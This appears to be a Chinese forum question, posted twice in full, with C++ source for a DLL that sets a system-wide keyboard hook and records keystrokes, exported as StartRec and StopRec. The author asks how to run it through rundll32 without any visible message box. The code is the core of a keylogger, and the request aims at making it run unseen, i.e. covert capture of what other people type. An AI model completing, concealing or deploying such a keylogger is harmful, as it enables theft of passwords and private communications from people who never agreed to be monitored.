我编写了一个键盘钩子,相关内容如下:
//Hook.h
#pragma once
#include "afxwin.h"
#define DllExport __declspec(dllexport)//定义变量#pragma data_seg ("SHAREDATA") //共享数据区的建立,使DLL在运行期间,使用公共数据
static HHOOK Hook=NULL; //钩子变量
static HWND hLastFocus=NULL; //记录上一次得到焦点的窗口句柄
static bool bInstall=false;
static HINSTANCE glhInstance=NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:SHAREDATA,RWS")
const int KeyPressMask=0x80000000; //键盘掩码常量,用于判断一个键是否被按下
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
DllExport void WINAPI InstallLaunchEv(); // 装载钩子
DllExport void WINAPI RemoveHook();// 卸载钩子
extern "C" DllExport void StartRec(void);// 开始记录
extern "C" DllExport void StopRec(void);// 停止记录
int SavePro(WPARAM wParam,LPARAM lParam);// 记录存盘// hook.cpp#include "hook.h"
/******************************************************************************
* 功 能: 安装钩子
*******************************************************************************/
DllExport void WINAPI InstallLaunchEv()
{ if(bInstall) return ;
char Path[MAX_PATH];
ZeroMemory(Path,MAX_PATH);
GetCurrentDirectory(MAX_PATH,Path);
strcat(Path,"\\HookWin32.dll");
glhInstance=GetModuleHandle(Path);
if(Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD ,(HOOKPROC)LauncherHook ,glhInstance ,0))
{
bInstall=true;
//调试用,如果用Rundll32加载此Dll时没有此信息窗口则程序运行后就退出了,真不知为什么?
MessageBox(NULL,"KeyHook Install Success!","Notice:",MB_OK);
}
else
MessageBox(NULL,"KEYHOOK Failed!!","Notice:",MB_OK);}
/******************************************************************************
* 功 能: 回调函数,当键盘事件触发后自动执行
******************************************************************************/
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
if(lParam&0x40000000 && nCode==HC_ACTION)
SavePro(wParam,lParam);
return CallNextHookEx(Hook,nCode,wParam,lParam);
}
/******************************************************************************
* 功 能: 对外接口,导出函数 开始记录程序
******************************************************************************/
extern "C" DllExport void StartRec(void)
{
InstallLaunchEv();
}
//其它略
将上面两个文件编译成一个hook.dll,
问题:为什么我用自己的程序加载此Dll并成功完成键盘记录,然而用Rundll32(cmd.exe[enter] rundll32.exe hook.dll StartRec[enter]),却不能完成键盘记录,在调试过程中发现,如果在装载函数InstallLaunchEv()中弹出MessageBox(NULL,"KeyHook Install Success!","Notice:",MB_OK);信息框,在不关闭的前提下,键盘记录成功,一旦关闭此信息窗口,那么Rundll32就退出了,也就是键盘记录程序不能成功,请高手指点,如何编写Hook程序才能用Rundll32下运行此Dll(不要弹出信息窗)?
//Hook.h
#pragma once
#include "afxwin.h"
#define DllExport __declspec(dllexport)//定义变量#pragma data_seg ("SHAREDATA") //共享数据区的建立,使DLL在运行期间,使用公共数据
static HHOOK Hook=NULL; //钩子变量
static HWND hLastFocus=NULL; //记录上一次得到焦点的窗口句柄
static bool bInstall=false;
static HINSTANCE glhInstance=NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:SHAREDATA,RWS")
const int KeyPressMask=0x80000000; //键盘掩码常量,用于判断一个键是否被按下
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
DllExport void WINAPI InstallLaunchEv(); // 装载钩子
DllExport void WINAPI RemoveHook();// 卸载钩子
extern "C" DllExport void StartRec(void);// 开始记录
extern "C" DllExport void StopRec(void);// 停止记录
int SavePro(WPARAM wParam,LPARAM lParam);// 记录存盘// hook.cpp#include "hook.h"
/******************************************************************************
* 功 能: 安装钩子
*******************************************************************************/
DllExport void WINAPI InstallLaunchEv()
{ if(bInstall) return ;
char Path[MAX_PATH];
ZeroMemory(Path,MAX_PATH);
GetCurrentDirectory(MAX_PATH,Path);
strcat(Path,"\\HookWin32.dll");
glhInstance=GetModuleHandle(Path);
if(Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD ,(HOOKPROC)LauncherHook ,glhInstance ,0))
{
bInstall=true;
//调试用,如果用Rundll32加载此Dll时没有此信息窗口则程序运行后就退出了,真不知为什么?
MessageBox(NULL,"KeyHook Install Success!","Notice:",MB_OK);
}
else
MessageBox(NULL,"KEYHOOK Failed!!","Notice:",MB_OK);}
/******************************************************************************
* 功 能: 回调函数,当键盘事件触发后自动执行
******************************************************************************/
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
if(lParam&0x40000000 && nCode==HC_ACTION)
SavePro(wParam,lParam);
return CallNextHookEx(Hook,nCode,wParam,lParam);
}
/******************************************************************************
* 功 能: 对外接口,导出函数 开始记录程序
******************************************************************************/
extern "C" DllExport void StartRec(void)
{
InstallLaunchEv();
}
//其它略
将上面两个文件编译成一个hook.dll,
问题:为什么我用自己的程序加载此Dll并成功完成键盘记录,然而用Rundll32(cmd.exe[enter] rundll32.exe hook.dll StartRec[enter]),却不能完成键盘记录,在调试过程中发现,如果在装载函数InstallLaunchEv()中弹出MessageBox(NULL,"KeyHook Install Success!","Notice:",MB_OK);信息框,在不关闭的前提下,键盘记录成功,一旦关闭此信息窗口,那么Rundll32就退出了,也就是键盘记录程序不能成功,请高手指点,如何编写Hook程序才能用Rundll32下运行此Dll(不要弹出信息窗)?
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货